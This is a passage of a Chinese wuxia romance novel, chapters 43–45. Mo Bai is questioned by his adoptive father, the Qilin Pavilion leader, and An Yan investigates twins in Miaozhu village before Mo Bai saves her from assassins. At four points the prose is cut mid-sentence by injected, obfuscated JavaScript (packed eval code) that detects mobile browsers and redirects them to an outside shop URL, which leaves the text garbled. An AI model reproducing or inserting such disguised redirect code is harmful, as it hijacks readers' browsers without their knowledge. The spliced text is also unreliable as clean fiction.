“墨……墨总管。”鲁仁全额头紧贴着地面,“属下,虽是私自行动,但……事态急迫,已不及回禀。属下忠心可鉴,所思所虑,皆是为了墨总管,请,请墨总管开恩。” 墨白目色无波:“这就是,你绕过我,私自与兵部联手的理由?” 鲁仁全抖如筛糠:“属下,属下只是不想,让兵部占了全部功劳,才,才……想着,这些小事,就不劳墨总管费心,待事成之后,属下……再来向您报喜。” “那么,”墨白神容平淡,话音凝冰,“可有喜报?” 鲁仁全讷讷,终是无言。 他恰在清临县附近办差,兵部领事洪茂椿来找他,说偶然撞见了血祭剑法的传人,希望他能相助一臂之力,共同将其擒获。阁主在寻找血祭剑法,虽始终未放到明面上,但领事以上皆有听闻,谁能找到这剑法传人,阁主面前,自然是大功一件。 于是他答应了洪茂椿,私下调 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167888|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 派了一个小队前去,日后算起,也有他一份功劳。 然而,人确实顺利捉了回来,却不想未过一夜就不见了。洪茂椿几人,也丢了性命。 没过几天,墨白就到了。 他私自做主,确然有错,但他不想白白耽误了时机,而且…… 但听墨白冷漠的声音再次响起:“你似乎,有话想说?” “属下不敢。属下知错,还请墨总管看在属下多年忠心办事的份上,饶属下……擅作主张,鲁莽愚钝之过。”鲁仁全伏在地上,借他一万个胆子,他也不敢说。 墨白却静了静,叫人搬来一把椅子,在他面前坐下了。 “说。” 鲁仁全一个字也不敢说了。 墨白安静地说:“你说出来,这件事,我不再追究。你不说,你知道结果。” 鲁仁全的心仿佛浸在了冰潭里。 他突然想求墨白杀了他,给他一个痛快。他当然知道结果,他亲耳听了多少次暗无天日的监牢里,那些人求死的哀哭。 他不敢再说一个“不”字。 “属下自私做主,的确是……为了您。”他不知道自己会是生,或是死,选择的权利,根本不在他手中。他无法克制心底的恐惧和颤抖,他想活下去,可若能身死以明志,倒也……不枉江湖一生了。 “墨总管,自您认识了那个女人,这两年,行事远不如往日果决。阁中早传开了,说您爱上那个女人,只知沉醉温柔乡……您原本就是为了剑法才接近她,可如今,伏焱仍旧下落不明,血祭剑法也毫无着落,甚至您的身份也没能瞒住,再无法回去她身边潜伏了。若不将她抓住拷问,您……如何才能完成阁主交代的任务?属下只怕,只怕又会被姜总管抢了先。您的才能本在姜总管之上,若为了一个女人,自毁大好前程,兄弟们……如何甘心?” 墨白平静地听着,未发一言。 屋内其余人,都已吓出了一身冷汗。 谁不知道墨白出身线部,是前总管夜的亲传弟子,刑讯逼供那一套最为拿手,鲁仁全这是,不要命了吗? 然而墨白的脸上,仍平淡得殊无表情。 鲁仁全的声音渐渐静了下去,整间屋子都静了下去。树影伴着日色飘摇,他的神色自始至终未曾一动。 “原来,”他终于抬眼,视线一一扫过,所有人都不由自主地打了个寒颤,“你们心里,都是如此想的。” 没有人回应。 墨白也无所谓是否有回应,复看向地上的鲁仁全,漠然道:“起来吧。” 鲁仁全不敢动。 墨白又道:“我已说过,不再追究。” 鲁仁全仍踟蹰半晌,才颤颤地站了起来。 “下一次,擅自行动者,我不会再轻饶。”墨白神情冷漠,目光里却藏着一道危险的裂隙,没有人再敢去试探,“安晏的事情,是我的事情,其余的人,没有资格多管。” 屋子寂静得仿似没有人气,突然间,门外却响起了一个浑厚沉朗的声音:“我可有资格,管一管这‘闲事’?” 一个身着鸦青色长袍的中年男子跨进门槛,面色冷肃,不怒自威。屋内众人都向他单膝跪下,墨白也闻声站起,恭敬地躬身:“阁主。” 麒麟阁阁主汪褚时,竟亲自来了。 43. 一对双胞胎 “都起来吧。”汪褚时在先前墨白那张椅子上坐下了。 他望了鲁仁全一眼,而后看向墨白。后者沉眉静立,神情平淡,汪褚时甚至亦无法猜透他心底所想。 末了,他终是叹息着一挥手:“墨留在这里,其余人,都退下吧。” 众人退出门外,室内只剩下墨白与汪褚时二人,春絮漫漫飘落在脚边,二人谁也没有去看。 “方才鲁领事所言,我都听见了。”汪褚时望着墨白,目色却有些复杂,“现在他们都走了,你不妨与我解释一二。” “义父。”没有旁人,墨白便改了口,向汪褚时微微躬身,“既是传闻,自不可信。” 汪褚时不置可否:“血祭剑法,可有眉目了?” 墨白语气恭敬,却仍然清淡:“安晏始终没有说出她的师父所居之处,再问下去,怕会引起她警觉。” 汪褚时眸光微沉:“鲁领事的法子,你觉得不可?” “自然不可。”墨白语无波澜,“安晏并非胆小怯懦之人,严刑拷问,她不会屈服,此番已是打草惊蛇。” 汪褚时话音已有不悦:“你的意思,鲁领事不仅无功,反而有过?” 墨白面不改色:“是。” 他这义子,自幼聪明过人,但恰是因为太聪明,而令人不得不心生一份防备。汪褚时凝眸看着他:“那么,你有什么打算?” 墨白淡声:“只差最后一步,我会再去找她。” “你要再回去找她?”汪褚时微愕,“可我听高言雀说,你的身份已然暴露?” “并未。”墨白道,“她只是知道了我亦会武功。” “这次回去,你有几成把握,可探听血祭剑法,或者她师父几人的下落?” 墨白依旧淡淡:“十成。” 汪褚时顿了顿,见墨白说得笃定,他便不再多问:“好,那就交由你安排。你此番特意回来,可是另有要事?” “是。”墨白抬起眼,又静了一静。春景潋滟,却尽在他眼底化成虚冥,“我想亲自问一问您,我和伏焱,究竟是什么关系?” 汪褚时目光凝肃:“你听说了什么?” “并非听说,是我想起了三年前,沧年县郊外一战。”墨白声线微冷,如井底暗流涌动的河,“这次,我也见过伏焱了,我们容貌相像,不似偶然。” “义父,”墨白瞬也不瞬地注视着他,“伏焱是我的哥哥,对吗?” ———————————— 然而,他却听见汪褚时长长叹息了一声。 他起身,轻拍着墨白的肩膀,话音低沉如喟叹:“我始终没有告诉你,不是不信你,正是怕你像如今这般多想,反而会影响你的判断。” 墨白安静地侧目,等着他继续。 “伏焱不是你的哥哥。”汪褚时的话音很平静,亦很笃定,“我与你母亲原是旧识,但她出嫁之后,我一度与她失了联系,直到听说她离开夫家,携幼子去了南疆,我才请夜暗中照看。后来……你母亲病逝,我见你孤苦无依,就将你接回了麒麟阁,收你为义子。” 这番言辞,与夜老板那日所述无二,却仍未解开墨白心里的疑惑。 “你与伏焱容貌相似,我同样十分意外,但你的母亲,确实只有你一个孩子。”汪褚时眉心微蹙,似乎也颇觉惊奇,“伏焱似乎正因你与他容貌相似,将你错认成他的弟弟,他是否确有一个弟弟,我已让暗部前去打听,然而尚未有消息传来。” 墨白眸色渐深,如凝渊海:“若您所言属实,我为何全无印象?” 母亲也好,家乡也好,六岁之前的记忆,只有寥寥梦境中不断往复漆黑的木屋,和远山之上经年不化的白雪。 汪褚时却不以为意:“你那时还小,记不清了,也有可能。” 汪褚时的话,墨白无法全信,但他知道,他已不能再得到更多答案。于是他换了另一个问题:“明思院似乎十九年前就已建立,义父近日可有查到什么?” “实不相瞒,十九年前明思院建立之时,我便知道它的存在。”关于这件事,汪褚时倒一口承认了,“前阁主——我的长兄与几大门派一起,挑选出一批极有天赋的孩子,送往明思院那个训练所秘密受训,意图培养出一位可与寒星之主匹敌的武林盟主——这些,我都已告知于你。” 墨白微微颔首,半年前,汪褚时就寄了书信,向他描述了明思院的事。 “只是,我当时并非管理人,很多事情都不知晓。直到三年前,我才查到了明思院的位置——随即叫高言雀去找你。然而即使那时,我亦无法确定明思院,就是当年的训练所。暗部调查了许久,所有信件,我也都让你看过了。”见墨白再次点头,汪褚时才又叹声道,“且不论对错,兄长的谋划,终究失败了。所有孩子都死了,只剩下伏焱,不知为何成为了如今这般样子。” “一开始,我想着不能放任他危害江湖,故遣你追杀。然而你,再加上暗部十人,却仍让他逃脱了。”汪褚时顿了顿,忽向墨白致歉,“我擅作主张,封住你的记忆,是该向你道一声歉。我怕你记恨伏焱,不顾我的命令,对他去下杀手。” 墨白连忙躬身:“不敢,义父此举,定是为了大局。” “如今,告诉你倒也无妨——你可知为何,我突然不再让你杀他?”汪褚时深邃地望着墨白,眸子却清亮如玉,透出某种坚定和决然,“墨,伏焱的武功,当世少人能及,或许真的已在那寒星之主以上。如此力量,若能为我所用,麒麟阁称霸江湖之夙愿,必可以实现了。” 说到最后,汪褚时神容奕奕,眼底似烧起了火光。墨白却仍平淡冷静,目光像是无风无澜的湖面:“伏焱武功卓绝,性情又不循常理,只怕不会对他人俯首称臣。若不能完全掌控,只会焚及自身。” “再桀骜不羁的野兽,只要有与之相匹敌的力量,尖牙利爪,亦可拔除。”汪褚时深深地望进墨白眼中,“所以,我需要血祭剑法。只要你拥有血祭剑法的力量,莫说伏焱,即使是薇娘,也不得不心存三分忌惮。” 墨白沉默良久:“义父深谋远虑,是我狭隘浅薄了。” 汪褚时握了握墨白的肩膀,如长辈一般语重心长:“我膝下无子无女,百年之后,麒麟阁将交到你的手中。只要你能善加利用,伏焱必能成为一把好用的刀,助你和麒麟阁稳固江湖霸主之位。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178075|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “是。”墨白低眉,“我必不负所托。” “既然伏焱将你错认成弟弟,或许,你可利用此事。”汪褚时却又沉吟道,“我仍让高言雀跟着你,你如有需要,暗部兵力,也尽可调遣。” “多谢义父。”墨白微微躬身,“我心中已有安排。” “好,你一向手段过人,我也一向信你,此事就全权交给你了。”转目间,汪褚时已卸下威严,换上慈父般温和的笑,“自你开始追查伏焱,你我父子二人,竟是聚少离多。今晚一起吃一顿饭,明日再动身吧。” “是。”墨白恭敬应下,“我这就去叫人准备。” 汪褚时轻轻点头,墨白便躬身退出了门外。他望着掩上的门扉,目光终一寸一寸垂落。 门派、野心、江湖霸主,简直是这世界上,最令人信服的借口。 可心底另一个理由,他无法宣之于口。他只能任由着它,安静地扎下根,一日日长出枝叶,开出花,最终在心底凋零,腐烂,和他一起死亡。 ———————————— 门外,墨白向后厨走去,眉目却清冷一片,好似远山尽头,行将坠入地底的残阳。 他不信。 他不信任汪褚时,就如同汪褚时不信任他。江湖朝野,所谓父子亲情,远抵不过功名利禄。 更况且,他与汪褚时,并无血缘。 汪褚时留他吃饭,他不能拒绝,但明日一早,他必须离开,尽早寻到安晏。 他尚有一层记忆未解,他知道这次分别,安晏定会回去请教她的师父——他能相信的,只有自己的记忆。 他也很久没有见她了。 确实……很久了。 安晏的面容浮现在他脑中,他的眼角不由得渐渐柔和。他仿佛能听见她责怪他又在开她的玩笑,脸颊上却红晕团生,比春日的斜阳更加温柔。 ———————————— 南疆。 草木蓊郁,溪流绕村,时值暮春,远山近野皆是无边重重的绿,小孩子在水泮捉虫捕鱼,笑闹声萦绕着炊烟,袅袅飘入天际。 安晏终于抵达苗竹村,找到村子的里正。 半月之前,她在客栈中醒来时,唐璃早已离开了。她虽有数不清的疑问,但还是先收好行囊,独自来了苗竹村。 “二十年前吗……”蓝老伯回忆着,从炉上取下一碗青麦茶,递到安晏手中,“我还有些印象,确实有一个外乡的女人。” “谢谢您。”安晏捧着茶,“具体是如何情况,您还记得吗?她叫什么?她有几个孩子?” “我一直不晓得她的名字,只知道她姓白,村里人也都称她白姑娘。”蓝老伯已逾古稀,扶着桌子,慢慢坐在了安晏对面,“她来的时候,带了两个孩子,是一对双胞胎。” 安晏的手不由得一抖,青麦茶洒出稍许,烫在她手上。她连忙放下茶碗,却顾不得痛,急急又问:“那两个孩子叫什么,您可还记得?” “这我听白姑娘提过,但……”蓝老伯想了很久,二十年前,那已经是很遥远的事了,“我有些记不清了,那两个孩子,大约是姓谢,唤作青来、风余。” 44. 是哥哥,还是弟弟? “谢青来,谢风余……”安晏喃喃念着,伏焱的名字,与汪照和所述一致。那“谢风余”,是墨白的名字吗? 却听蓝老伯叹息一声:“得双生子,本是一件有福气的事,可白姑娘的夫君却被仇家所杀,惨死异乡,实在令人唏嘘。她不得已带着两个孩子来南疆避难,我们见她可怜,能帮的,都会尽力帮一些。” 安晏眉心微顿:“仇家?白前辈和她的夫君,是江湖人?” 蓝老伯缓缓点头道:“我在她家中见到过一把剑,但她出身什么门派,我并未细问,实在是怕她想起旧事,徒增悲痛。” 姓白的剑术世家,安晏一时也只能想到渭州白家。但苗竹村偏远隐蔽,好似世外桃源,恐怕不清楚江湖门派之事,看来白前辈身份,她只能等日后再寻时机,从他处了解了。 她于是换了个问题:“那白前辈,在村子里住了多久?” 蓝老伯似乎欲言又止:“两年左右,但是……” 安晏一顿:“发生了什么事吗?” “姑娘,此事说来,确实有些不寻常。”蓝老伯若有所思,“白姑娘和她的孩子,应该在苗竹村住了两年,但我在她住进村子不到三个月,就没有再见过她了。” “不到三个月?发生了什么?” “那天有一群江湖人,深夜到了村子,进了白姑娘的家。我……虽然从窗户看见了,但心里实在害怕——他们每个人腰间都佩着刀——我就假装熟睡未觉。”似是那夜可怖的景象在脑中浮现,又或是某种尘埋的惭愧和自责悄然苏醒,蓝老伯握着竹杖的手轻轻颤抖起来,“我其实想了,若白姑娘呼救,我一定去救她……但那一晚,白姑娘房中没有一点动静,天未亮时,那些人,就全部离开了。” 安晏蹙着眉:“那些人,没有带走白前辈?” 人之常情,她并未责怪蓝老伯当年的胆怯和明哲保身。 蓝老伯斩钉截铁地摇了摇头:“没有,我担心白姑娘,次日特意去探望,是她亲自开的门。她虽然眼下乌青,声音疲倦,恐怕一夜未眠,但身上看起来并无任何伤口。我问了几句,她只道无事,我想着她或许有难言之隐,就……未再勉强。” “可您说没有再见过她,又是何意?” “那日之后,白姑娘几乎整日待在屋子里,到后来,竟完全不出门了。”蓝老伯道,“就连每日饭食,都是她的孩子挨家挨户地讨要。” 安晏眉头蹙得愈紧:“您没有再去问过?” 蓝老伯叹道:“自然去过,但再开门的,却是她的孩子。白姑娘竟就此,对所有人避而不见了。” 安晏不由得停顿了半晌。 突然间,一个可怕的念头窜入脑中,令她全身汗毛倒竖,头皮发麻:“蓝老伯,每日外出讨饭的,是一个孩子,还是两个孩子?” “只有一个孩子……” “您是否记得,那个孩子,是哥哥,还是弟弟?” 蓝老伯回忆良久:“我不记得了……两个孩子,模样本就相似得紧,许是轮流讨要饭食,也未可知。” 安晏的手在袖子底下紧紧握成了拳头。 指甲掐进了肉,她却浑不觉疼痛。那群佩刀的江湖人,虽未带走白前辈,但带走了一个孩子,是吗?——他们带走了伏焱,是吗? 这就是,那些门派挑选孩子的方式,是吗? 她看着蓝老伯,尽量克制着声音的颤抖:“后来呢?他们是什么时候,离开苗竹村的?” “后来……”蓝老伯的目光却渐渐失了焦,似乎一下子回忆了太多往事,他不免有些心力交瘁了,“也不记得是哪一天,他们就突然不在村子里了。没有人知道他们什么时候走的,又去了什么地方,只是某日大家偶然谈起,都说好久没见小孩子来讨饭了。大家担心出了事,一起去白姑娘家拜访,可那屋子,已经没有人了。” “蓝老伯,多谢您告诉我这些。”安晏见蓝老伯面露疲态,便起身告辞,“我想在村子里走一走,就不打扰您了。” “哎,姑娘,你若想去白姑娘家,就是,村子最西头,那间屋子。” 蓝老伯拄着拐杖,颤巍巍地欲出门为安晏指路,她连忙扶住他:“好,我知道,您回屋休息吧,我找得到。” ———————————— 离开蓝老伯的家,夕阳已在叶脉间淌下金色。安晏迎着晚霞,向白前辈家走去,心底却似结了一团乱麻。 那一对双胞胎,就是伏焱和墨白吗? 事情的真相似乎已渐渐浮出水面,但安晏心底却始终觉得,没那么简单。 无论如何,先去白前辈家里看一看吧。 村子西头,有一间简朴的竹屋,屋前用竹子围了一圈篱笆,门窗都已有些破败了。安晏小心翼翼地推开门,屋子里一股潮湿的霉味扑面而来,她连忙捂住口鼻,不由得咳了几声。 却突然一顿。 她猛地回身,眼风迅速扫过近处的树丛、房屋——没有半个可疑的人影。 难道是她多心了?安晏满腹疑虑地转回头,迈进屋子。 竹屋静谧幽暗,唯一的一扇窗也被人用木板钉了起来,只漏下几缕微光。房内一张木床,并一张小榻,衣柜、书架都已空了,安晏仔细翻了一遍,屋内似乎被人清扫过,除了厚重堆积的尘土,就只有抬起床榻才能看见,压在床脚下的一张碎纸。 纸上什么都没有,她也摸不出这纸张的质地有何特别之处。 安晏不禁长长叹了口气,终究是二十年前的事了,她确实不能指望这里还会留下什么。她打算再去院子里找一找线索,然而刚迈出门槛,神色却突然一凛! 耳侧刀声疾至,她一把将那张纸条揣进怀里,另一手抽剑,重重击在右侧两把长刀之上! 气流震荡,真气盈空,她竟觉得竹屋似乎晃了一晃。 安晏慌忙跃开稍许,在院中站定,院外竟又走进三人,将她围在了中心。 夜幕初降,光影昏昧,微弱的夕色仿佛在刀尖上染了血,她自然不认得这些人,但她认得他们的刀。 和清临县外袭击她的,是同一门派之人。 是麒麟阁的人。 长刀略微停顿,随即齐齐向她斩落。安晏忙侧身避过面前一刀,折肘向后,用剑鞘封住身后的两把刀,采萧剑随即斜斜向上,划过一人虎口。 长刀当啷掉落在地上,另一侧却有另一把长刀直削面门,安晏折腰上挑剑锋,剑鞘仍压制着方才的两把刀。头顶的刀被她真气一激,被迫退开少许,然而先前弃刀那人却趁机重拾了刀,再度与另外一人合力向她砍来! 以安晏的剑法,即使五对一,她原本也不会输。 可是——她不想杀人。而对方五人,却招招直取她要害! 眼见刀尖如电,刺向眉心,她斜开身子避过,然而腹背受敌,削向右腿的一击怕是无论如何躲不开了! 突然间,不知何方的阴影中飞出了一把刀,刀刃既利且寒,竟将空气凝出了微薄的霜——而后,精准无误地插入了一人后脑。 那人身子一僵,随即轰然倒地,余下四人不由得惊疑,却又有第二把,第三把飞刀接连掷出,一把插进一人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188317|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉心,另一把却被避开了稍许,没入一人左肩。 随即,便见一个月白色的影子从树影间掠出—— 手起刀落,转瞬已划破第四人咽喉。 先前被飞刀插中左肩之人也倒在了地上,伤口处血色暗黑,那刀上竟是带了毒。 只剩最后一人,他举着刀,看见来人,不由自主地后退了一步,双目俱是惊恐之色:“墨……” 话音被血沫堵在喉咙里,他已没了气息。 ———————————— 衣袂缓缓飘落,墨白收步,放下刀,却没有转身。 鲜血从刀尖上滴落,染得泥土点点殷红,比春日的花更加鲜艳和刺目。 安晏就在他身后一丈远,衣角随风摇曳,她却也没有开口。 终而,墨白抬手,擦净刀刃上的血,然后将墨刀收进了衣袖。他依旧没有回头,顿了顿,抬起脚—— “你等等!”安晏几乎下意识地叫住了他。 墨白于是停下了。 “你……你难道又想一走了之,什么都不解释吗?”安晏死死盯着他的背影,最后一痕夕光,也终于从他肩头消散了,“我有话,要问你。” 墨白又静了半晌,终于转回头。 仍是那样好看的脸,温和,俊朗,胜似暮春的晚风。他安静地注视着安晏,她的指尖明明正难以克制地颤抖,目光却带着孤注一掷的勇气和决然。 他轻声叹着,走向她,抬起手,温柔地抚上她的长发。 安晏心底轻轻一栗,仅仅这一个简单的,平常的,熟悉的动作,竟令她眼中泛起涟漪。 她想象过无数个再见的场景和心情,可此时此刻,好像所有的言语都说不出口了。她终于见到他了,她竟是如此地,想念他。 却听墨白低声道:“谢谢。” “你……谢我什么?” “谢谢你,还愿意与我讲话。” 温润的话音拂过耳边,安晏却似被烫了一下,猛地挣开墨白,后退了两步。 “我——我有话要问你。” “好。”墨白温声,这一次未再上前。 “你……究竟是什么人?”安晏的声线亦微微颤抖,“这些人,是否与你有关?” “这些人是谁,我不知道。”墨白的语气温和清淡,目光却好似被安晏误解而刺痛了一下,“至于我是谁,我们先离开此地,去一个安全的地方好吗?” 安晏紧紧盯着他,似乎并未全信,但停顿稍许,她终究点了头。 她终究无法拒绝他。 墨白轻轻笑起来,抬手做了一个“请”势,安晏便当先迈出了院子,墨白走在她身后,如同以往每一次一样。离开时,他最后瞥了一眼这座破旧的竹屋。 “要去什么地方?”安晏转头问。 “村西一里之外,有一间无人的寺庙,你若不介意,我们可以去那里暂时歇息。”墨白回过视线,笑得眉眼俱弯,头脑却似有银针穿着线,尖锐的疼痛令他在袖底握紧了拳头。 从他第一眼见到这间竹屋,头脑中就好似有什么一分分地裂开了。 他觉得熟悉,却什么都无法回忆起来。 他跟着安晏到了苗竹村,他发现了麒麟阁兵部的人,他本该更早一点出手,若不是这头痛像火一样,几乎烧尽了他的神志。 “好,就去那吧。”他听见安晏回答,他听见安晏续又说了一句什么,可是她的声音竟模糊了,连带着天地万籁都沉入了寂静。 但……她在。 他不再挣扎,放心地昏了过去。 45. 我可以相信你吗 他又看见了雪山。 大雪纷扬,压低了院中红梅,他趴在窗边向外张望,身侧就是暖手的小炉,热气氤氲,隔绝了冬雪的冷。 窗外却没有人,渐渐也有些无趣了。这时身后传来响动,他欢喜地回过头—— 屋内却一团漆黑! 再回过头,窗外的飞雪远山都不见了,就连窗子都不见了,只剩下硬邦邦的一块块木板,缝隙间勉强透出些微光亮。心跳像是浸入冰水一样冷,他害怕地颤抖起来,蜷缩在墙角,然而屋外却传来了刀剑相击之声! 他听见安晏在质问:“你们究竟是谁!” 他听见了刀剑没入血肉的声音,他慌乱地跑下床,推开门,阳光一瞬刺痛了他的眼,他看见那把刀就插在安晏心口! “安晏!”他失声大喊——随即惊醒过来。 ———————————— 墨白倏地坐起,看见不远处似被他吓了一跳的安晏,终于重重舒了口气。 他们在村西的那座破庙里,应该是安晏在他昏迷之后,将他带来的。 “你做了噩梦?梦见了什么?”安晏原本远远地坐在火堆旁,见他醒了,便起身走来。 他似乎隐约闻到了烤红薯的香味。 “没什么。”墨白笑了笑,“你没事就好。” “方才你突然晕倒了。”安晏也未深究,坐在床边,拉过墨白手腕,“现在,可有觉得什么地方不舒服?” 墨白未答,笑盈盈地看着她,长夜的星辰落进他眼中:“你果真越来越像一个神医了。” 安晏指尖一顿,听出墨白话中之意,立时恼羞地松开了他的手,又远远地站开了:“你还没有告诉我,你究竟是什么身份,你究竟是谁。” 墨白安静半晌,悠悠地叹了一声:“小时候的事情,我的确不记得了,你知道,我被人封住了记忆。我只记得我自小在义父家中长大,而我的父母,我的家乡,我没有任何关于身世的记忆。” 安晏沉着目光:“你一直都会武功,是吗?” “嗯。”墨白很诚实地承认了,“我的武功很高。” “为什么要瞒着我?” “因为,你的武功也很高,好像用不上我的样子。” 安晏停了停,一时有些分不清他这句话几分是真。她随即又问:“你为何要与我同行?黎州墨公子的身份,是假的对不对?” “嗯,是假的。”今日每一个问题,墨白都承认得干脆,语气也都非常诚恳。 安晏凝眉:“你的名字,也是假的吗?” 墨白却静了一静:“名字……不是假的。但我也不记得,在义父收养我之前,我原本的名字了。” “还有一个问题呢?”安晏沉着脸追问道,“你为何要与我同行?肯定不是因为无处可去吧?” 当时,她是于心不忍才带上了他,如今回想,她觉得自己简直是个傻子。 墨白也想起了当日情形,嘴角不由自主地微微上扬:“因为……我也在追查伏焱,听了你的描述,觉得我们目标一致,就随意编了一个故事。没想到,你竟如此相信我。” “你!”安晏恼羞得几乎拔剑相向,他这个表情,绝对仍是在取笑她吧! 可是,他说得没错。 能被那个如今想来极其蹩脚的谎话骗过的人,可能全江湖也只有她一个了。 眼下还有更重要的问题,于是安晏硬生生忍住了拔剑的冲动:“你找伏焱,又有何目的?” 墨白收起笑意,神色多了几分凝重:“伏焱杀人无度,义父也听说了,若不管不问,只怕终会危害江湖安宁。义父叫我去寻他,是希望能将他引至正途,虽然我见到伏焱之后,实在忍不住觉得……要令他臣服,比杀了他难上百倍。” 顿了顿,又不禁摇头苦笑,“杀了他,只怕也不容易。” 安晏神色微动:“那日在郑府,你与伏焱交过手了?” “没有。”墨白道,“但我知道,若伏焱使出全力,我不是他的对手。” 或许现在的江湖中,除了薇娘,能杀死伏焱的,就只有安晏手中的血祭剑法了。 “那么,你知道——”安晏又问,“或者,你的义父是否知道,伏焱是否真的是你的哥哥?” 墨白轻轻摇头道:“那日我不辞而别,正是回去询问义父,他却说我没有兄弟,或许是伏焱认错了。可我没有幼时的记忆,也无法断言,真相究竟是什么。” 安晏不禁蹙眉:“你的义父是谁?” 墨白却仍摇了摇头:“义父不愿让人知晓他的姓名,我不想再欺骗你,所以……我不能说。我原先确实瞒了你一些事情,但,我从来没有想过伤害你。” 安晏目不转睛地凝视着墨白,似乎想从他脸上寻到一毫一分的破绽,可是他的神色自始至终平静温适无懈可击,他的每一句解释都沉着笃定天衣无缝,她已不由得不信。 她终究缓和了语气:“既如此,你一开始与我说明,我也不会拒绝和你同行,为何要说谎骗我呢?” “安大夫心地仁善,若知道我无家可归,定不会弃我不顾。”墨白弯起了眼角,半是认真半是玩笑地道,“我一心想着要留在你身边,又怕说出实情,你会拒绝我。我也是不得已,才出此下策——或者,是良策?” 星光盈盈浮动,他温润的嗓音如春溪流水,她的心跳不由得一慌。她下意识地侧开眼,幸好火光幽幽,遮掩了她脸颊的绯红:“那你……你既然走了……你为何会到苗竹村来?” “那日伏焱在郑府与你说的,我都听见了。”墨白嘴角笑意愈浓,安晏的神态已全然被他看在眼中,“苗竹村既是伏焱故乡,我想着,你一定会来,那我自然要来寻你。你看,我们不是果真在村子里遇上了?” 安晏拧着衣角,却不敢看他:“你,你是想来寻找伏焱吧,我不会再上你的当了。” 墨白面不改色地说:“寻找伏焱当然重要,但我,想和你一起找。” 安晏只觉得心跳已乱得不成章节。她知道墨白从来不曾伤害她,甚至保护了她——这几个月,她不敢多想,可几乎每一个夜里墨白都会出现在她梦中。如今旧往的误会解开了,压在心底的情愫竟似再按捺不住,甚至比以往更加浓烈,直至在她心头燃起了一簇簇火苗。 然而嘴上仍是道:“我说过,我要杀了伏焱。” “嗯。”墨白笑眯眯地点头。 “你……”安晏一顿,“你不是说,要将他引至正途……若我执意要杀他,我们的目标,岂不是背道而驰?” “没关系。”墨白仍笑得像一只温良狡黠的小狐狸,“我再去向义父请罪,也就是了。” “你,你,”她总觉得有什么地方不对劲,“你是不是又在取笑我?” “怎么会。”墨白笑意更甚,眼角像是飞出了明亮的星子,“好了,再磨蹭下去,你的红薯要烤焦了。”他笑着起身,摸了摸安晏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197008|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的头顶,“其实对我来说,更重要的事情,是找回我的记忆——你能帮我吗?第二层被封住的记忆,你有办法帮我解开吗?” “好……好,知道了。我是大夫,我肯定不会放着病人不管的。”安晏飞快地移开视线,从墨白手底下逃到火堆旁边,干脆背对着他,拾起树枝,小心地将炭火拨到一旁。 火星溅落,好似烫进了她心底。 墨白却沉默地望着她的背影,目光渐渐深了。 她果真回去了她的师父所在之处。 血祭剑法他要拿到手,他也一定,不会让任何人伤害她。 ———————————— 吃过晚饭,安晏就开始帮墨白诊脉。宗暮非虽同她说了解法,但个人体质有异,治疗方法也不尽相同。墨白不作声地看着她,眉眼都似染着温柔的火光,她专注地思考着,额头甚至渗出了细小的汗珠,他下意识地抬起袖子——她却突然放开了手。 他便也回过神:“可是很难解?” “难解自是难解,毕竟是十几年前的事了。”安晏抬起头,亮晶晶的眸子却透出几分得意,“但放心,我已经知道该如何解了。” “我就知道,我的安神医医术无双。”墨白浅浅笑开,仍旧抬手,轻柔地擦去她额头的汗,“只是苗竹村里没有医馆,待回到乐平县,我们再去抓药。” “嗯。”安晏不由得向后挪了挪身子,小声嘀咕了一句,“谁是‘你的’……” 墨白笑吟吟地看着她。 安晏使劲咽了一口口水,从怀里掏出她在屋子里拾到的那张纸:“我有正事问你,这张碎纸片,是我在那间屋子里找到的。那间屋子,我向蓝老伯打听过,应该正是伏焱居住过的屋子。你——”她顿了顿,“你看一看,这纸张是否有什么特别之处,或者,你对它有没有印象?” 墨白从安晏手中拿过碎纸片,神色也渐渐认真。他细细摩挲半晌,又就着火光翻来覆去地看了许久,最后却仍然摇了摇头:“这纸是用竹浆所制,然而竹子遍布南疆,随处可见,这纸张,我实在看不出什么特别之处,我对此,也全无印象。” 